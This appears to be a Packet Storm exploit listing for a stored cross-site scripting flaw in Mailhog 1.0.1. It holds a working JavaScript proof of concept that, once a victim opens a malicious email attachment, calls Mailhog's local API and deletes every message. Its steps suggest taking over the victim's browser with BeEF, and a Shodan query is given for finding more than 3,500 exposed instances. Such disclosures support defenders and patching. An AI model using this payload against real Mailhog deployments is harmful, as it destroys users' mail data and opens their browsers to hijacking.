what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mailhog 1.0.1 Cross Site Scripting

Mailhog 1.0.1 Cross Site Scripting
Posted Jun 27, 2022
Authored by Vulnz

Mailhog version 1.0.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | c6d4443c876d720bb306b68d688651b623465386c426966caee9a17a0fcf1d8a

Mailhog 1.0.1 Cross Site Scripting

Change Mirror Download
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
# Date: 06.18.2022
# Exploit Author: Vulnz
# Vendor Homepage: https://github.com/mailhog/MailHog
# Software Link: https://github.com/mailhog/MailHog
# Version: 1.0.1
# Tested on: Windows,Linux,Docker
# CVE : N/A

Explanation:
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call.

Steps to reproduce:
1. Create malicious attachment with payloads stated below
2. Attach malicious file to email with payload (XSS)
3. Send email
4. Wait for victim to open email
5. Receive data, get control of victim browser using Beef framework, or manipulate with API data


Proof of Concept:

<script>

var XMLHttpFactories = [

function () {

return new XMLHttpRequest()

},

function () {

return new ActiveXObject("Msxml2.XMLHTTP")

},

function () {

return new ActiveXObject("Msxml3.XMLHTTP")

},

function () {

return new ActiveXObject("Microsoft.XMLHTTP")

}

];

function createXMLHTTPObject() {

var xmlhttp = false;

for (var i=0;i<XMLHttpFactories.length;i++) {

try {

xmlhttp = XMLHttpFactories[i]();

}

catch (e) {

continue;

}

break;

}

return xmlhttp;

}

var xhr = createXMLHTTPObject();

xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);

xhr.onreadystatechange = function()

{

if (xhr.readyState == 4)

alert("Request completed, with the following status code: " +
xhr.status);

}

xhr.send("");

</script>
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close